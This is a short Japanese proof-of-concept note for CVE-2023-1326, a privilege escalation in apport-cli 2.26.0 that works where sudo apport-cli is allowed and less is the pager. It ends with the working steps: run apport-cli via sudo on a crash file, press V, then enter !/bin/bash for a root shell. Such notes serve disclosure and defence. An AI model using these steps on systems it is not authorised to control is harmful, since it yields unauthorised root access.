CVE-2023–1326（apport-cli 2.26.0）の概念実証
この脆弱性は apport-cli 2.26.0 における特権昇格であり、CVE-2023–26604 と類似しています。この脆弱性は sudoers に割り当てられている場合にのみ機能します。
apport-cli 2.26.0 およびそれ以前のバージョンで、CVE-2023-26604 と類似した特権昇格攻撃が見つかりました。システムが特別に構成され、非特権ユーザーが sudo apport-cli を実行でき、ページャとして less が設定され、端末サイズを設定できる場合、ローカル攻撃者が特権を昇格させる可能性があります。
sudo /usr/bin/apport-cli -c /var/crash/some_crash_file.crash
press V (view report)
!/bin/bash
